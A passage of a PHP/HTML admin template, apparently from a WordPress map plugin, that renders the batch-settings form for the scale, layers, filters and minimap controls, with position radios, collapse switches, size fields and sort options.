/>\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-topleft.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"scalePosition\" value=\"topright\" <?= !($settings['scalePosition'] == 'topright') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-topright.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"scalePosition\" value=\"bottomleft\" <?= !($settings['scalePosition'] == 'bottomleft') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-bottomleft.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"scalePosition\" value=\"bottomright\" <?= !($settings['scalePosition'] == 'bottomright') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-bottomright.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"scaleMaxWidthCheck\" class=\"batch-settings-check\" name=\"scaleMaxWidthCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"scaleMaxWidth\"><?= esc_html__('Max width', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"scaleMaxWidth\" name=\"scaleMaxWidth\" value=\"<?= $settings['scaleMaxWidth'] ?>\" min=\"0\" step=\"1\" />\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"scaleMetricCheck\" class=\"batch-settings-check\" name=\"scaleMetricCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"scaleMetric\"><?= esc_html__('Show metric', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"scaleMetric\" name=\"scaleMetric\" <?= !$settings['scaleMetric'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"scaleImperialCheck\" class=\"batch-settings-check\" name=\"scaleImperialCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"scaleImperial\"><?= esc_html__('Show imperial', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"scaleImperial\" name=\"scaleImperial\" <?= !$settings['scaleImperial'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t<div id=\"layersControlContent\" class=\"mmp-map-batch-settings-group\">\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"layersPositionCheck\" class=\"batch-settings-check\" name=\"layersPositionCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<?= esc_html__('Position', 'mmp') ?>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"layersPosition\" value=\"hidden\" <?= !($settings['layersPosition'] == 'hidden') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-hidden.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"layersPosition\" value=\"topleft\" <?= !($settings['layersPosition'] == 'topleft') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-topleft.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"layersPosition\" value=\"topright\" <?= !($settings['layersPosition'] == 'topright') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-topright.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"layersPosition\" value=\"bottomleft\" <?= !($settings['layersPosition'] == 'bottomleft') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-bottomleft.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"layersPosition\" value=\"bottomright\" <?= !($settings['layersPosition'] == 'bottomright') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-bottomright.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"layersCollapsedCheck\" class=\"batch-settings-check\" name=\"layersCollapsedCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"layersCollapsed\"><?= esc_html__('Collapsed', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"layersCollapsed\" name=\"layersCollapsed\" <?= !$settings['layersCollapsed'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t<div id=\"filtersControlContent\" class=\"mmp-map-batch-settings-group\">\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"filtersPositionCheck\" class=\"batch-settings-check\" name=\"filtersPositionCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<?= esc_html__('Position', 'mmp') ?>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"filtersPosition\" value=\"hidden\" <?= !($settings['filtersPosition'] == 'hidden') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-hidden.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"filtersPosition\" value=\"topleft\" <?= !($settings['filtersPosition'] == 'topleft') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-topleft.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"filtersPosition\" value=\"topright\" <?= !($settings['filtersPosition'] == 'topright') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-topright.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"filtersPosition\" value=\"bottomleft\" <?= !($settings['filtersPosition'] == 'bottomleft') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-bottomleft.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"filtersPosition\" value=\"bottomright\" <?= !($settings['filtersPosition'] == 'bottomright') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-bottomright.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"filtersCollapsedCheck\" class=\"batch-settings-check\" name=\"filtersCollapsedCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"filtersCollapsed\"><?= esc_html__('Collapsed', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"filtersCollapsed\" name=\"filtersCollapsed\" <?= !$settings['filtersCollapsed'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"filtersButtonsCheck\" class=\"batch-settings-check\" name=\"filtersButtonsCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"filtersButtons\"><?= esc_html__('Buttons', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"filtersButtons\" name=\"filtersButtons\" <?= !$settings['filtersButtons'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"filtersIconCheck\" class=\"batch-settings-check\" name=\"filtersIconCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"filtersIcon\"><?= esc_html__('Icon', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"filtersIcon\" name=\"filtersIcon\" <?= !$settings['filtersIcon'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"filtersNameCheck\" class=\"batch-settings-check\" name=\"filtersNameCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"filtersName\"><?= esc_html__('Name', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"filtersName\" name=\"filtersName\" <?= !$settings['filtersName'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"filtersCountCheck\" class=\"batch-settings-check\" name=\"filtersCountCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"filtersCount\"><?= esc_html__('Count', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"filtersCount\" name=\"filtersCount\" <?= !$settings['filtersCount'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"filtersOrderByCheck\" class=\"batch-settings-check\" name=\"filtersOrderByCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"filtersOrderBy\"><?= esc_html__('Order by', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<select id=\"filtersOrderBy\" name=\"filtersOrderBy\">\r\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"id\" <?= !($settings['filtersOrderBy'] == 'id') ?: 'selected=\"selected\"' ?>><?= esc_html__('ID', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"name\" <?= !($settings['filtersOrderBy'] == 'name') ?: 'selected=\"selected\"' ?>><?= esc_html__('Name', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"count\" <?= !($settings['filtersOrderBy'] == 'count') ?: 'selected=\"selected\"' ?>><?= esc_html__('Count', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"custom\" <?= !($settings['filtersOrderBy'] == 'custom') ?: 'selected=\"selected\"' ?>><?= esc_html__('Custom', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t</select>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"filtersSortOrderCheck\" class=\"batch-settings-check\" name=\"filtersSortOrderCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"filtersSortOrder\"><?= esc_html__('Sort order', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<select id=\"filtersSortOrder\" name=\"filtersSortOrder\" <?= !($settings['filtersOrderBy'] == 'custom') ? '' : 'disabled=\"disabled\"' ?>>\r\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"asc\" <?= !($settings['filtersSortOrder'] == 'asc') ?: 'selected=\"selected\"' ?>><?= esc_html__('Ascending', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t\t<option value=\"desc\" <?= !($settings['filtersSortOrder'] == 'desc') ?: 'selected=\"selected\"' ?>><?= esc_html__('Descending', 'mmp') ?></option>\r\n\t\t\t\t\t\t\t\t\t\t</select>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t<div id=\"minimapContent\" class=\"mmp-map-batch-settings-group\">\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"minimapPositionCheck\" class=\"batch-settings-check\" name=\"minimapPositionCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<?= esc_html__('Position', 'mmp') ?>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"minimapPosition\" value=\"hidden\" <?= !($settings['minimapPosition'] == 'hidden') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-hidden.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"minimapPosition\" value=\"topleft\" <?= !($settings['minimapPosition'] == 'topleft') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-topleft.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"minimapPosition\" value=\"topright\" <?= !($settings['minimapPosition'] == 'topright') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-topright.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"minimapPosition\" value=\"bottomleft\" <?= !($settings['minimapPosition'] == 'bottomleft') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-bottomleft.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t\t<label class=\"mmp-radio\">\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"radio\" name=\"minimapPosition\" value=\"bottomright\" <?= !($settings['minimapPosition'] == 'bottomright') ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t<span><img src=\"<?= plugins_url('images/icons/control-bottomright.png', __DIR__) ?>\" /></span>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"minimapMinimizedCheck\" class=\"batch-settings-check\" name=\"minimapMinimizedCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"minimapMinimized\"><?= esc_html__('Collapsed', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"switch\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"minimapMinimized\" name=\"minimapMinimized\" <?= !$settings['minimapMinimized'] ?: 'checked=\"checked\"' ?> />\r\n\t\t\t\t\t\t\t\t\t\t\t\t<span class=\"slider\"></span>\r\n\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"minimapWidthCheck\" class=\"batch-settings-check\" name=\"minimapWidthCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"minimapWidth\"><?= esc_html__('Width', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"minimapWidth\" name=\"minimapWidth\" value=\"<?= $settings['minimapWidth'] ?>\" min=\"1\" step=\"1\" />\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"minimapHeightCheck\" class=\"batch-settings-check\" name=\"minimapHeightCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"minimapHeight\"><?= esc_html__('Height', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"minimapHeight\" name=\"minimapHeight\" value=\"<?= $settings['minimapHeight'] ?>\" min=\"1\" step=\"1\" />\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"minimapCollapsedWidthCheck\" class=\"batch-settings-check\" name=\"minimapCollapsedWidthCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"minimapCollapsedWidth\"><?= esc_html__('Collapsed width', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"minimapCollapsedWidth\" name=\"minimapCollapsedWidth\" value=\"<?= $settings['minimapCollapsedWidth'] ?>\" min=\"1\" step=\"1\" />\r\n\t\t\t\t\t\t\t\t\t\t</label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t<div class=\"mmp-map-batch-setting mmp-advanced\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-desc\">\r\n\t\t\t\t\t\t\t\t\t\t<input type=\"checkbox\" id=\"minimapCollapsedHeightCheck\" class=\"batch-settings-check\" name=\"minimapCollapsedHeightCheck\" />\r\n\t\t\t\t\t\t\t\t\t\t<label for=\"minimapCollapsedHeight\"><?= esc_html__('Collapsed height', 'mmp') ?></label>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t<div class=\"mmp-map-setting-input\">\r\n\t\t\t\t\t\t\t\t\t\t<label>\r\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"number\" id=\"minimapCollapsedHeight\" name=\"minimapCollapsedHeight\" value=\"<?= $settings['minimapCollapsedHeight'] ?>\" min=\"1\" step=\"1\" 